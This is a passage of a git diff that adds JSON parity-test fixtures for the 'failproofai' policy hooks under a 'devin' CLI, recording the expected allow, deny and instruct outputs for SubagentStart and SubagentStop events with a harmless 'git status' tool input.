}, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..5c27c27d --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..1d0bee37 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..5e0a867a --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5d97f8a5 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..05f7e72b --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..db22d2bd --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2acdbbaa --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..46e7da9b --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..10eaa38a --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..57527b3a --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9cf7b414 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..ff0872dd --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..5a910f4e --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..1551a57f --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9f3a17b4 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c200445b --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e8c249a9 --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..be9ecf7f --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..eaa31f1c --- /dev/null +++ b/__tests__/parity/fixtures/devin/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + 